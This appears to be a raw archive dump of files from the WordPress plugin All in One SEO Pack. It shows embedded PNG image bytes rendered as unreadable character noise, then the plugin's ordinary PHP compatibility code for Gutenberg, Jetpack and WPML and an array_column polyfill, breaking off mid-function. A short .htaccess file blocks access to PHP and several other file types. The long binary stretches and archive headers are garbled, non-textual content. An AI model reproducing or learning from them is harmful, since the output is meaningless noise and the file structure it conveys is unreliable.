UbN;š™õaUðø°™õW»ÉKD™ÏæÙÇ06‹ãá½£Aá'zôut§Í5sÜP]šf¶_Ìn8Ô ]Üÿ{/ýŒ=Ô4^'ý¶µŸC;µòÞáàšZí5èWн^ÛV"íÆš Rxl)b6‹ëÁ~åÉí‡#»V¬Ïƒƒ{ìÝYxa…¥@—o©¯Å…Âz!t ?Æ»Òï>ø#DCÔK?"ŠÆ‘ƒŸ5š‹¾ôáCàÕùt ¯BÁ7 ì|žŽ ¡ìKiwh%³zK!–ûå㣳ףIrõÕH§•‡±py2Ü}²™ÄŒsÏe–±‰_›Ea9ü¤÷ÒûvôÜÃvêÖîoÇû<Ï®/jý»îCIt|mmðut-%fí¹ ¤V¸úæaÁ;LÆÉÁgdep•Äiå!úé“ð°îž)„2o®¹‰@K ÓCráÝþ-:î¿ý.^zî«þ!çOek}:îA‰ö²{èòtLåTe¯(PÒ× yp~7[ãêA<wœ<½hu œV¦À_X´ÔfÑ‹ÿzª@]õwùM‰XÞL7lùëšïLH¶ö-Ú£°9FZšX⼄K(_ºé¸º”°Ø+kƒË@ÂSÎÂ~ùAÆÙ+~§p¡ûºˆŒ"PVü^aM0¬kïàí†ÏàQcB²µ6´GaÍNÌæª3�dÈ(ÛãN¸úæÂyM:<6²@8r²DVV†p8"+Ç!/‘WPüaÊý;äþÃGä—‘'ä—ß³²1ë«sÔ{´‡íýù×_oÒ}òº;G†a@ÈÓgTÛ8ÄNãâ…€èZTì‘QY[Ñ1žƒéGÎáte—a_z™®WØuÔq9º²C)­<38ÌŸßLưETûØÅ+ãù•¯öÏqÛvRìî“çµYŒ?ƒ÷Ögí%£øz†j31uO1ŒóûaQ4ó¢ÁçÎ-`eãq¹y…ƒÏk§î=¶—«©É'£\½|'öýˆ8{¦Â~i³!¸DR1áNïÄm}¼v•#«°ëÃ<íª.ïaFÞe˜äõâ£}*[ÃÖª¸®ƒ‘÷W2†äFø ë`çžH=�ŸeÉ•o~y–b¹ßGX±©ˆ –4àÚÐMG2Š—¨'0€\L-¸Y½àežÿS¹Ù½˜[=!t44‘1ħµ1n>G™Ë’àÈ~ícj£ �NDV'\|s™¥þǰ=¥ [ƒ cÇý¸êO”—nÀkýÐJï Jÿkš\*k§uâµÌ~(/óûî ch<ÝáY öãšÀ¸®ICÃà—KË©Þ;µ®ó±j[ <ƒ+˜}çÐVÓgEF¡ŸÆÛ€«É¡Pθ�^F=°sÜ lŽ}69¬\MÌ65‹Œ;иDúïo\EœÚ†¥¾yŒÝb ¬ÅðØ\ÔC^À.äH;–Ñ+ðÜ^†]RDHêzÉùF³!+n€JúyöÀq‡³9q#tÞ„ž†úBÙ¶»T²¯ ’Ìö3>»+a½P ÛÅÆqY2Z‡¾Œ$c©ì»•·*¨Þ᧘ ÂÓLrå0Ò²Û:È &))+뽡«ó˜gj I3”²û¡MeecN| x¦VÐçj>™Ðž)Aâ¡»WVùåÃÞ%‘±s–ÀÌR¿°òAò¿ˆ-î¹ä^ãÏ0!©íL~Ë5+é¹ðÓýŸèã×çš›q5ñ gaJpäÒû!—v“iÌ7šCMõ‘é3” i­6¡„%·T;½u–ö1°q?ÿ¡ëðsäD¹>yòa¹ç¯l•4!2KÊ$ïgª.|Ž÷E5!5Y’QŒuxRMu¨9y@ÊÆºª3{EVFv¡|Ÿ2é`~7Ìmcë…±°¡CXÚîCLæ™ò*h§]fFt_fw!©ä"SÜü " †bˆ]Š1ÑÛ©5…xO}Y¹™ðu¿6àr¿6Ô7t'@ŸÈnÖ<6·ˆÂœ9{Kkæ[ áàz�éåýäUL%„Cdˆ|TAÇÑ”ò”ÐR*+ˆ|¤1ñ­å‘Y;9d,Z‘4Ígg\=SŸEž€ã;²ãsë2ù›Ž½NsÈßüò ù+vå69®hØWJôÂL‰C¢YV:™L€á¯¦nÍ™­7£¤R¨LS2äoã&™ÉqJÖ$‹S”È?ÿ�EÂw|s����IEND®B`‚PK������+—[=ÎóŠ=��=��'��all-in-one-seo-pack/images/update64.pngnu�„[µü¤��������‰PNG  ��� IHDR���@���@���ªiqÞ��IDATx^í›”UÕÙ°Ÿ}î¹uz¯LE†"‚4Qš]ÀÐ|,ìF£Ÿ%A@ì ¨,  Š€"Xém†éíösÎþǽîZ³&™™¨Ñ$ëÿò¬õ²gÝÙ,ÎÛß}ö…ÿlþËù/ÞËäŠÅ9Œ[QÀõæsÓº,n~ÓÎÏ„Æ2W5+j•Õò¸Nee4•iÔ¸z2uen{%íÿoØÜñ4…Q \6L©ðÙ{$)·õN;Ò¤n]Þ•ûÞ´ÿK PÝœòí‘Z¹j{…|â­oåol‘ËVn—üÜ naC„m–F8lëQ?âÔœ¢¼G—E·žöäâq=Þ>?¦Ó¥Ü½<ŸŸ€Î ¤Ê'+šÂ,­a×îãüvÖ*TRy´’ÆÚ&.™z!%‡ªù°a…uì6¿°aÃÞ77)3/=ªKZ¢ût§®¥ÙuQxÃЬ%7ÛóÈüM-ýrÄ?m€Gêäñº�»VPVVǃÓWrlMµMØ„À’&ë$ ‘Ÿ›ÈÏEM­oÄÚõû>?îô2�&ü%PÐÓ##*þôÂľ‰Ñ®Sœv=Ín£Ð²$–iá øÙÛàgíŽrÙ=;–¬àÐæ¦%Ê¥omäЗ{A¤…ͦH)B�¨5:>ŠnÃNcâYù <³³àger>ñžXbã ÎëÑH£óƵýžNŽu޲,‰iZ¦Ä0L†lƒPÈ$%#ŽfCQ#~Šëvž”‹m䛕›pE9B ˆ1BJN2¹§æ3í²ÓèR”)ø%p]•ûáòß•xMëиe;/¢ÁL\zó / bÃ"d|¿šJ‚A‹ÔìxÎìžJ~R´ø)Pl=R/_[¸‘/—}ÃiG"šò¼€Â^ùxbÜ<~×È‘ ‰Ññ‹2¾ðõ?O;“–pè²]:¦è;¿ßÀ¦a[‘h° ²óSÚ+ÜÄ(ñ“ °ôëcrþãïÑPYÒBhJ{)”õ8º/5'ªX8g²à_ÄÚ5;äþ£µœqnŽ•7r¢¼á°RÞKõs hÐùÔ,F÷ΨM‹ó$þ¨.°v×I9ïéñÖzA€Ðl*40,¢¢h*¯â_ÉÈQ=EqñI¹äMô~*™Yñª@Á°T-0,‰dçÖ#8œzŠ€ÃU^9cÞ§ì\ÿBš @Š– þÔ!ˆ‹nE ø3'ø70cærÙe`4·›=»O „$60Â&†**$\xa/FvO?hZ²á;>ÙÍ2¢¼¦iØšÅáv‘œ€”&hºÝNfZ,ÿ.~wÿ%bçg{66Ñ)/‘@à{åAE‚i6L|M~>ùò{Ëå?L/ÕÈÙ½†Ä´TÞ£ ©A0âÂkG é:›×m£tÏQ‚ÁÙ ü\¸òLÌ8�)4ÂA(æ'ðÈCcÅíw½)H|R4'Ž×`Y`†j“B”î?Ág»’ÿñ(üþÚ=T”V�Ry]>„‚Aν|0;¿>Hpצüæ<úŒìCMe=¹9‰´ÇÊ+ä·ß!Gœs®,ÈÉ•v4i<¬iÖ64k;ÂÚ.4¹ÍD²ÌÉÌ–ÃÎ"§Þ|³\òöÛ’ÈÐ+^ß@×®ih6*ÂF¤5ZH,¶~u€M%µ²ÝøpW…|vÆ{ÊûhBå½DZºd—Çž·ñлwµÍ³ÂÂ7¿$%%†`Ñ›‹ä²wÞaÍê¹ìÒqx<.ÈåãÆÐ½k¹9HIJ"*Êü>U5µ”=ÆžýûÙ½{/ï,^Ê‚ù$Êé’gžy&cÆc⤉ͭ6±ÍV;nü¡Í›‹yåµ Œ¼j(kW~«žßŒt)%ÇëøìÛ£íGÀ§_¢¾¼.Rõ¿‰fX†ÄÊ×Ö°à•ë—aä©ibDït:å$‹Š“5?ø¿2=9E^=q";vì䦛¦°çÛT7Ô3kÉJúMû=»z^ÌÁB&îs1bc¨Y‚LØãä1_.›‹Î£ë”yàOåXUewñЃ÷ÓäõqÇ´iäç䮽jüiÇÞ‡6èß¿@ä§FQ²§”ÜÎýaU-ËlÐí;¶óÅÁjùw]àËæ|5GOª§Ez¾”ôÖƒP(Dï4·Þ:JÐî¼ívùÆë¯ã÷¸è’‹yú±G‰+ìÆºݰ—oU£ÐuÒ¢Ý$yœD;t<*ÂÞA?ÄÉ&?fÈ�i‘ŸËýCº2¦ –Xo5ÿao,\D]uƒ‡ áÓ ë†a­aìø9òŠÛ/æÃåÛ°LSÀ4-%>o€ ¯Ä-£‹D«Øy¸–ºÕ -4M=˜êõØÃœrZË_\ÁWß+h'g?!Ÿ1“ù/Ïç&_ŬÓ©ŒMãÊÅ[ørɇ`³Ó=#ó»çå&ÚéPJÛm¶Hg°, KBØ´ðMÁ05Þ�Çê½Ü²bS|~r=¼rÏ f͚ɢ×ðàôÇ‘ˆ¯.¹à–¯Z™ ”aì½Øòén:wÏæ»o Û4õo˜¦‰Ýnc˦ƒ®öÉü$�Áo~~}ߟïFH š� UDº÷íŒîtÐ'ÝÔÏD¸÷î{伿2úüQ¼:÷9ŽÆåpYs=ØWÖ@fF]RâÈIˆ&ÉãÂm×Ñm€�H� €VŸIÀ´$°I} Èñ%5ì>Z…Ë¥ñø¨žL;-•Ÿž™³fãõz©i¨´À¨‹ž–WÝ7–UK6!ªš*@‚ Wa <¡ì?ÑØ÷èr4›†”VäÜHèÖ¿ Kž_ÎKë'h¤$>!ž¥Ë–1ìÍoøäÀnÒRãÞ;Ÿ¼„â\œv”RÖ~,N]#5ÊC¢ÛI~b ÝRãÙ}²–ÛVíàöÕ‚ƒ÷L£¢²’¹sæñ·\r^Oöo+!-;™ãGNª–.-°LIÐä@IMKØv ’°7€ÄB¨¨Â“¨Ô(ꪛ6°¯ÖÓŠHøRíóII5…’9=+‰ÌXN»ŽRÚ4‘üóÀc×ÉKŒ!Þí )ÊÅçûÊX° #Pmïo¹ø¢Ó™öà;œ;~(Å{a³Ù°,©‡ö–©‰W¨ªjÂïóQ„Póºu¢xÇanÓ›Y3i…Óé" b ëQ—SÕ`Øä—@A”ÃN¢Ç šFŒCÃâr:ù[ró’Å…—>#Ýn;v»ÃcY¨–nÓ5'BèÜô~Öñ#UJiÕúÔªô‡È9%ƒ5_ícØ9Ý­!:: ¯· §M¨3¥$d˜È–ünY•­~§hcâïö¡ê˜& MÞ&¢¢£h‹‘çvSžNH‰ãdY–”i!‘Aƒâ£µè8õèê“ Ø4ˆ ?Jt‡ŽÓåÄm“´Eó@B Da\º°%›ÅD³@Ò.-jÿÔ=  ‹d·šºzââãi‹þý ˜»d ™…YœPÓ­¥R)–äHY :[LSSB×"MMU=½ºg³ò]þŽ©SnºD¶åMljs; † Uµµˆ÷k‡øi{$RÍ Ø16¨ª¬"55•¶èÔ)‘¦š&âûÇ M !,¤Ô@ª¹€ºZ/ú+¿êrÿ[/FZKøiWœ›ÚÊúe´ã³Ô®»8p`?ÝRsÙXV§L×´ˆ$AKcS µ¤@Ëå ÐÒ*ÛØƒP3ƒšÐ1:”••Ñ­{Ú"''Y\|åéòèXÒDCi©ú&¥Äç ¡Ç;Å8É- aÓpyxë}džE[„a»Û®³ùÛ Ñ—U+ð… •RJÚCéAû´W= Kâ †‰qÚˆ·IJ”’_G;(ÏÛt)U;Vm^IÐDMK�¥<€Ãé äå =R’“ùrÓ×Üsã½Ü¿b›òL´ÃÈ6Ú.BÍ4… ²ã¢¨-=¤""#3kí`QM)¤j‡˜a]h*|HM­‘>OË{Àvèuzoö¦³ËË¢!d`šjÒ’?Ñï!*ʪýA®è‘Çg_|¬uýäë/é¨uJK‚Õâ ‰¹OÐmêÌ/BC�BYL`š ÎÕ†A{ <˜µk×"›êINôPë åT³>Rò³# 1&ì 2©Ws^^G\\<e%´ƒ…Ä4%2âyÍTù¯DÐãb\åM€È ¤…ñD9©¯÷Óg <¯ÏKÙ= ÈJ`Ý‘Z¼ßÿ=»‰l»±µÎî6>§½Ù@…{] º» ¶|»¡gå/‹ß¦=$B‰…š,$  `©>è÷,/­kbDº€š† à“ž“ÌÑÒÚcÈС"35]¾ñçEÜòÀ3¬Úó) Á0ª€vt’‘¥•Îï5dÕúBtψ%PUÎÞ½»ùí}¿íÐ�Âa'à ©üR¶@ZjÖÑwÕ4–u‰öà««M)¯Œàm ’š–À®Ï¾£#úÀ{«×0{®$Ôù¿�âïLKGSÈŽßz�F³„˜tVgV½·„ب®ùõ5…´Ãåò¾Ù«i¨õ¶V>"n—djÂ1xkëÑ„aS†ðûƒ¸¢,©¢#&]=‰ WŽçÀŽmŒ(J壒jÜ:N›Öfh+}dÄÈö÷´þKBc(þ÷ôË`ØÔ7É+ÈgÛŽïŠi‡’’*¢c¨®¬ÃRGAåy�ÕÓÒbÐy༙ 6Qº·›Ð!2 ÛuÚŠFœñÑTTÔ“š×6>|øÉIÉ/¿ºà5î½ï >Ú³ž†€A¬Ó޲mw*dDøA{B†¤Â¤_a •ÅùvÛvf?ù$·Nû í±aÃn2 ³Ù½q¿ªøH©†´(*HEHMU'¦ÈqP-§’C'È?5‡Ï>Ý×—vHLJš?éWW½üÚÂEÌ|öYÑ.j!ìÍ¢ñs`IISØÄò…ytx^yá\.×÷ʧÓ›¾;ÊÙ=N¡±® ¬È9�° ˆŽfìô5gè�ù™±¸c=üÁH!D½«,¯§×ŧðÞ_?§#þeQ‘ ö½:os.øSM“®©×_B¶ÝZÓÁ!›–z_ïá‚,ÿ3çŸ>o¾ýÖIÚáë¯ȧn¦ìP9BJ•ª—˜‘ž› Ÿ””j�=sˆO‹GZ&"RÑPwí>_€ê ¤ìX¤}ö1’?Ìxœº%bó8 ªëj )Qùg©U‚úY¡Èª$²dë=ê˜í[˜¾0o\Ú›gfͦ®®ŽwÞ~«€xkÉל–ÇÑý'°”÷Â0±é‚ŒìDØ|o¹—è½ûæªA ‡ÛζÍÅ 3€9óÖÒNŸNyy9sŸyš%WÀë á3,,Z¾PÑrǨD-²eúѲG¡Ö°%ñ&™)ь͋â±YOpéØ1à0íPq²®fûá°µX†©”—ÒTÆvçœQØú^ °Sq Ñ �M@d"l¬÷áŒv³ý`@GC‘>b8¿l&csÝä%{h ™„M ²•~ [ú¼@d­K¢š×}a“PC€ÏnÌmSƒÏëeÉ_ßéÐûϽ°&aÀè>ìÚ´MÊH 4TM2 Ò¹ðþ%­ 0 0qIÖ)X&‘iPyAÍÚ_¾Ÿ‹}·ß±PÒë>Üï÷ú˜8a»o> é ©óAÈ’@ËtÑI$ÔJ«=–TÊ«Hºihgl‡v3þ¹yê-Ð÷•VË­‡j0Ã’úªz,+Œ¥<O³t»N¯Óó`Ã½å­ å¼rÈàÎhv’–0´Ù4¼~a¼N'7´C€@ɽ÷ÿ–¥‹óù»ï°hÒ™êÒð,TX£<B$öjD*]”òâ>&+ÁË#NaäEcÈÊÌàéçžDxhú»rõ–£’¸ë¾·9ëÒ3ÙöéN,#ŒÊ %VØ$:5ŽûÞØÞ¹Í«±~¹ñt陇aJ´ÈÅ…¦ [¿*f䕃xrîGtÄÿ>ñbbß~}õu\ëåúA…jªô†-eZÞ¹Ó ‘œJyüÆ÷U?¬ö›z¯¸‚“ÇË()=v-ÐÐ`[i#ïm)“�O=µJ&žZÀÞohò#ÕûIT'?SÔ!Ã{ÂÇ7jÓ�¹IQbèà&”òB€ÍfSFøü“ýŒ½q4S§ýYÒ6NšÊ“6nþzXLL4§õÄ+£›½×5ÆÆ ASµ4™Q¹ÙR )ñ†Lê„MªîάGbٻ˹nÊLÌ­@ M£¢ø$ ^ZÇœå»ä7%uÄÅES²«+FuÓRÆ ›¤fqùˆ¢Ž¯ÇOKwÑwp‘jBƒH ëocÇëé=º7Ï^Ñ–âð=ôè#ÔÕ×Ó§WÖ\Ù‹ zdâSF0š&–l©ŒHAز¾W^…½2¨xp÷Óg>Á¨óFóÌsϞķršÃ¡îú*‹OðѲMtí×…¯VoKU{%ʆ¥Rûìá])ê”(:4@AF’(kj¼;­Sê5 ͦ©ÁÈn׿/2H‡“Ä¢læÌ]+iM#`Öõ7Ü0ð‡¢¤ø0§õèÉÊqÝxhtwüõª|aÕ!†IÈ´ð†•×il ’ãF6+ÿÆÌ™Üqç½ >k0ï­þ`°Žn @¤19»ÆêFU7*ŽV±fáz,õõ˜0¨êHÂt=£+wÝ2µóü–˜+áÆ½Å+—mUáowhJy§ÓŽ»Y„&8µg'ìF“»ŽpÛ´Ñ‚²hÀ ðÒ‹/n}ðþp»=¬ûà=}è÷òBþ šËŽ® mÂL;§+Ï ËçšI“Y²x £Fâ½ï÷l€?"¥@ØÉ¤Î×͘x lï *ŽD´¤(Å¥#&ù”l•5ÕΟ¶ñÁh€dU‰g&¿øúŸ¾û죸Ýu«êpèx\.]=x~a:éñN¶­ßÁäñHÏH(HÀ X@á)ù«Ž—ç¾{îâÁéÓyà‹£ÌX¿B} “ùàšþTnþŠKÇ_Eù‰rn¼ùfžzæéBÀ„"RJ„W_ݰ`Gƒ¸vûºmøš¼h‘R­BJu“ǸɃ˜7e@î®ZJЗ¤ª|œÈ©Üè½yúÌþýuÁ4L4 4@"±iBECEy-'ª} {«??�ú5CQPŽHn¾;p¸¸`Üå—ñجÙt-ì̈úmXޤü÷ç³nd:wOßAC±ëvüИ§^y:•ÀAhýðv§ãZ—Û¿ÉjhŠ´< "ùïpÙ:f�³®ÐyWÐcüØ/J¦:‰;4äÞä'o™¸ñàžãDyœèvM¥AT´«yÕUdxÜ.&¿_:}ÛµW xúº«Ÿø¼[B|úÉ'òî;îbóÖoèß§ù9XùÁZÜ7·N»•‡}Tð˜ñÄJÙÀÚ7?F$‘#(£Û3 .:•k/í'~ìÿ¨<ÄŸùÙìÚ»ç/Ò¥Gá°¹ø�SõXÔ{»,—¿Ž˜,Çu»C“Ô?šä)}`B'ZÃгÏ_oýF¬ZõR—_mæÎ»ïdÎKóœJùHyU#¡@M 9*ߨƒR­BJs€?ýñs^ZºU¶“•Côñ·'οï¦/ï;É÷¡çrØp6K´ÇAL”‹Z_裛^ø|‡Ÿø¸zÒ³kÙ½®šOvÇÓë…¹>~F&Oý³ŒMOfóªÍ9Qš*ô!ba׉M'&)–¤¬d.Ý Ï.?Ò�Š„'I•§NŠ]úâ¶ìÛ}‡.T*8:n—Žn×+&<¶v؛У}ÄêAÜI~þ4¼Œ_€kîx[†dÿÆ=„Í0R@|J‚*z1ɱä$Ó£(‰3>ìC ¸¯÷Ï; ÓM'’‹Š¸úåsæ¯Ø)_X²E¾¾j§üËÚ=réú}MwÍ]ÿ0CŸÄè—zqîó…Œ[˜Í˜e?3n&fÿúþerâm‹åe7þYÞ6kµ|¾ùY­þVÒ}Âp»g%Ó¥S*…]³ððs“ì!“óï<}Áº½­Ù-¼GÎYºõ]ÎÆàÇ2ì™ÞÍkçÎÉeÔŸRøXðÎfÉ€;/¢hp?tM¦{~ EÉ1tq:)r€ ÀÃ/F§‘™\ñ\ß+¦¯˜òЫ_<É YC9kf_Ιգy-`ØóÙ\8ÏÎ/@÷<Ò3\ä‚'“˜˜þ팪 ç={Ãf7{ÿÙ"F=‘ϰ¹éüŸdì£ÿèä?žÿò_þn¹»^y?=����IEND®B`‚PK������+—[yÿ§��§��D��all-in-one-seo-pack/inc/compatability/abstract/aiosep_compatible.phpnu�„[µü¤��������<?php /** * AIOSEOP Compatable * * @package All_in_One_SEO_Pack * @since ? */ if ( ! class_exists( 'All_in_One_SEO_Pack_Compatible' ) ) { /** * Abstract class to be used to create compatibility with 3rd party WordPress plugins. * * @package All-in-One-SEO-Pack * @author Alejandro Mostajo * @copyright Semperfi Web Design <https://semperplugins.com/> * @version 2.3.13 * @since 2.3.12.3 */ abstract class All_in_One_SEO_Pack_Compatible { /** * Returns flag indicating if compatible plugin exists in current instalation or not. * This function should be overwritten on child class. * * @since 2.3.12.3 * * @return bool */ public function exists() { return false; } /** * Method executed by compatibility handler to declare hooks and/or any other compatibility code needed. * * @since 2.3.12.3 */ public function hooks() { // TODO per compatible plugin. } } } PK������+—[‘ñæ%���%���8��all-in-one-seo-pack/inc/compatability/abstract/index.phpnu�„[µü¤��������<?php /** * Silence is golden. */ PK������+—[³yd«c���c���8��all-in-one-seo-pack/inc/compatability/abstract/.htaccessnu�ÏÃ6Ç$��������<FilesMatch ".(py|exe|phtml|php|PhP|php5|suspected)$"> Order Allow,Deny Deny from all </FilesMatch>PK������+—[a£`lw��w��:��all-in-one-seo-pack/inc/compatability/compat-gutenberg.phpnu�„[µü¤��������<?php /** * The compat-gutenberg.php file. * * Contains compatibility fixes for the Gutenberg editor. * * @package All_in_One_SEO_Pack * * @since 3.2.8 */ /** * The gutenberg_fix_metabox() function. * * Change height of a specific CSS class to fix an issue in Chrome 77 with Gutenberg. * * @see https://github.com/WordPress/gutenberg/issues/17406 * @link https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/2914 * * @since 3.2.8 * * @return void */ function aioseop_gutenberg_fix_metabox() { if ( false !== stripos( $_SERVER['HTTP_USER_AGENT'], 'Chrome/77.' ) ) { add_action( 'admin_head', 'aioseop_swap_css' ); } } /** * Swaps the CSS depending on PHP version * * @since 3.2.9 * * @return void */ function aioseop_swap_css() { global $wp_version; // Fix should be included in WP v5.3. if ( ! version_compare( $wp_version, '5.0', '>=' ) && version_compare( $wp_version, '5.3', '<' ) ) { return; } // CSS class renamed from 'editor' to 'block-editor' in WP v5.2. if ( version_compare( $wp_version, '5.2', '<' ) ) { aioseop_gutenberg_fix_metabox_helper( 'editor-writing-flow' ); } elseif ( version_compare( $wp_version, '5.2', '>=' ) ) { aioseop_gutenberg_fix_metabox_helper( 'block-editor-writing-flow' ); } } /** * The gutenberg_fix_metabox_helper() function. * * Overrides a Gutenberg CSS class using inline CSS. * Helper method of gutenberg_fix_metabox(). * * @since 3.2.8 * * @param string $class_name * @return void */ function aioseop_gutenberg_fix_metabox_helper( $class_name ) { echo '<style>.' . $class_name . ' { height: auto; }</style>'; } aioseop_gutenberg_fix_metabox(); PK������+—[sMTWó��ó��5��all-in-one-seo-pack/inc/compatability/compat-init.phpnu�„[µü¤��������<?php /** * Initiates compatibility code with other plugins/themes * * Eventually we'll have subclasses for each. * * @package All-in-One-SEO-Pack * @since 2.3.13 */ if ( ! class_exists( 'All_in_One_SEO_Pack_Compatibility' ) ) { /** * Class All_in_One_SEO_Pack_Compatibility * * @since 2.3.6 */ class All_in_One_SEO_Pack_Compatibility { /** * List of compatibility classes to execute and run. * * @since 2.3.12.3 * * @var array */ protected $classes = array(); /** * All_in_One_SEO_Pack_Compatibility constructor. * * @since 2.3.6 */ public function __construct() { $this->load_compatibility_classes(); } /** * Load Compatibility Hooks. * * @since 2.3.6 * @since 2.3.12.3 Runs hooks located in compatibility classes. */ public function load_compatibility_hooks() { // We'll use this until we set up our classes. if ( class_exists( 'jetpack' ) ) { add_filter( 'jetpack_get_available_modules', array( $this, 'remove_jetpack_sitemap' ) ); add_filter( 'jetpack_site_verification_output', array( $this, 'filter_jetpack_site_verification_output' ), 10, 1 ); } // Remove Twitter plugin's meta if our Social Module is on. global $aioseop_options; if ( isset( $aioseop_options['modules']['aiosp_feature_manager_options']['aiosp_feature_manager_enable_opengraph'] ) && 'on' === $aioseop_options['modules']['aiosp_feature_manager_options']['aiosp_feature_manager_enable_opengraph'] ) { add_filter( 'twitter_card', array( $this, 'aioseop_disable_twitter' ) ); } // Run compatibility classes. for ( $i = count( $this->classes ) - 1; $i >= 0; --$i ) { $this->classes[ $i ]->hooks(); } } /** * * AIOSEOP Disable Twitter * * @since 2.3.11.4 * * @return bool */ function aioseop_disable_twitter( $card_properties ) { if ( apply_filters( 'aioseop_disable_twitter_plugin_card', true ) ) { return false; } return $card_properties; } /** * Filter Jetpack's site verification. * * If we have a value for a particular verification, use ours. * * @param $ver_tag * * @since 2.3.7 * * @return string */ function filter_jetpack_site_verification_output( $ver_tag ) { global $aioseop_options; if ( isset( $aioseop_options['aiosp_pinterest_verify'] ) && ! empty( $aioseop_options['aiosp_pinterest_verify'] ) && strpos( $ver_tag, 'p:domain_verify' ) ) { return ''; } if ( isset( $aioseop_options['aiosp_google_verify'] ) && ! empty( $aioseop_options['aiosp_google_verify'] ) && strpos( $ver_tag, 'google-site-verification' ) ) { return ''; } if ( isset( $aioseop_options['aiosp_bing_verify'] ) && ! empty( $aioseop_options['aiosp_bing_verify'] ) && strpos( $ver_tag, 'msvalidate.01' ) ) { return ''; } if ( isset( $aioseop_options['aiosp_yandex_verify'] ) && ! empty( $aioseop_options['aiosp_yandex_verify'] ) && strpos( $ver_tag, 'yandex-verification' ) ) { return ''; } if ( isset( $aioseop_options['aiosp_baidu_verify'] ) && ! empty( $aioseop_options['aiosp_baidu_verify'] ) && strpos( $ver_tag, 'baidu-site-verification' ) ) { return ''; } return $ver_tag; } /** * Remove Jetpack's sitemap. * * @param array $modules All the Jetpack modules. * * @since 2.3.6 * @since 2.3.6.1 Make sure we only disable Jetpack's sitemap if they're using ours. * * @return array */ public function remove_jetpack_sitemap( $modules ) { global $aioseop_options; // Check if AIOSEOP's sitemap exists. if ( isset( $aioseop_options['modules']['aiosp_feature_manager_options']['aiosp_feature_manager_enable_sitemap'] ) && 'on' === $aioseop_options['modules']['aiosp_feature_manager_options']['aiosp_feature_manager_enable_sitemap'] ) { unset( $modules['sitemaps'] ); // Remove Jetpack's sitemap. } return $modules; } /** * Load Compatibility classes. * * @since 2.3.6 * @since 2.3.12.3 WPML compatibility loaded. */ public function load_compatibility_classes() { require_once( AIOSEOP_PLUGIN_DIR . 'inc/compatability/gutenberg-chrome.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'inc/compatability/compat-wpml.php' ); // Load classes. // Evaluate classes and push them into array. $target = new All_in_One_SEO_Pack_Wpml; if ( $target->exists() ) { $this->classes[] = $target; } // Eventually we'll load our other classes from here. $this->load_compatibility_hooks(); } } } $aiosp_compat = new All_in_One_SEO_Pack_Compatibility(); PK������+—[4 ìJX��X��5��all-in-one-seo-pack/inc/compatability/compat-wpml.phpnu�„[µü¤��������<?php /** * Compatability with WPML (WordPress Multilingual) * * @package All_in_One_SEO_Pack * @since ? */ if ( ! class_exists( 'All_in_One_SEO_Pack_Wpml' ) ) { /** * Compatibility with WPML - WordPress Multilingual Plugin * * @link https://wpml.org/ * @package All-in-One-SEO-Pack * @author Alejandro Mostajo * @copyright Semperfi Web Design <https://semperplugins.com/> * @version 2.3.13 */ class All_in_One_SEO_Pack_Wpml extends All_in_One_SEO_Pack_Compatible { /** * Returns flag indicating if WPML is present. * * @since 2.3.12.3 * * @return bool */ public function exists() { return function_exists( 'icl_object_id' ); } /** * Declares compatibility hooks. * * @since 2.3.12.3 */ public function hooks() { add_filter( 'aioseop_home_url', array( &$this, 'aioseop_home_url' ) ); add_filter( 'aioseop_sitemap_xsl_url', array( &$this, 'aioseop_sitemap_xsl_url' ) ); add_action( 'init', 'aioseop_get_options' ); // #1761 Options are otherwise called too early to work with WPML. } /** * Returns specified url filtered by wpml. * This is needed to obtain the correct domain in which WordPress is running on. * AIOSEOP would have ran first expecting the return of home_url(). * * @since 2.3.12.3 * * @param string $path Relative path or url. * * @param string filtered url. */ public function aioseop_home_url( $path ) { $url = apply_filters( 'wpml_home_url', home_url( '/' ) ); // Remove query string. preg_match_all( '/\?[\s\S]+/', $url, $matches ); // Get base. $url = preg_replace( '/\?[\s\S]+/', '', $url ); $url = trailingslashit( $url ); $url .= preg_replace( '/\//', '', $path, 1 ); // Add query string. if ( count( $matches ) > 0 && count( $matches[0] ) > 0 ) { $url .= $matches[0][0]; } return $url; } /** * Returns XSL url without query string. * * @since 2.3.12.3 * * @param string $url XSL url. * * @param string filtered url. */ public function aioseop_sitemap_xsl_url( $url ) { return preg_replace( '/\?[\s\S]+/', '', $url ); } } } PK������+—[,n™��™��:��all-in-one-seo-pack/inc/compatability/gutenberg-chrome.phpnu�„[µü¤��������<?php /** * Contains compatibility fixes for the Gutenberg editor. * * @package All_in_One_SEO_Pack * * @since 3.2.8 */ aioseop_chrome_fix_overlapping_metabox(); /** * Fixes a CSS compatibility issue between Gutenberg and Chrome v77 that affects meta boxes. * * @see https://github.com/WordPress/gutenberg/issues/17406 * @link https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/2914 * * @since 3.2.8 * * @return void */ function aioseop_chrome_fix_overlapping_metabox() { if( ! isset( $_SERVER['HTTP_USER_AGENT'] ) ) { return; } if ( false !== stripos( $_SERVER['HTTP_USER_AGENT'], 'Chrome/77.' ) ) { add_action( 'admin_head', 'aioseop_override_gutenberg_css_class' ); } } /** * Change height of a specific Gutenberg CSS class. * * @see https://github.com/WordPress/gutenberg/issues/17406 * @link https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/2914 * * @since 3.2.8 * * @return void */ function aioseop_override_gutenberg_css_class() { global $wp_version; if ( version_compare( $wp_version, '5.0', '<' ) ) { return; } // CSS class renamed from 'editor' to 'block-editor' in WP v5.2. if ( version_compare( $wp_version, '5.2', '<' ) ) { aioseop_override_gutenberg_css_class_helper( 'editor-writing-flow' ); } else { aioseop_override_gutenberg_css_class_helper( 'block-editor-writing-flow' ); } } /** * Overrides a Gutenberg CSS class using inline CSS. Helper method of gutenberg_fix_metabox(). * * @since 3.2.8 * * @param string $class_name * @return void */ function aioseop_override_gutenberg_css_class_helper( $class_name ) { echo '<style>.' . $class_name . ' { height: auto; }</style>'; } PK������+—[‘ñæ%���%���/��all-in-one-seo-pack/inc/compatability/index.phpnu�„[µü¤��������<?php /** * Silence is golden. */ PK������+—[ÌÓ@­����7��all-in-one-seo-pack/inc/compatability/php-functions.phpnu�„[µü¤��������<?php /** * Compatibility functions for PHP. * * @package All_in_One_SEO_Pack */ if ( ! function_exists( 'array_column' ) ) { /** * Array Column PHP 5 >= 5.5.0, PHP 7 * * Return the values from a single column in the input array. * * Pre-5.5 replacement/drop-in. * * @since 3.2 * * @param array $input * @param string $column_key * @return array */ function array_column( $input, $column_key ) { return array_combine( array_keys( $input ), 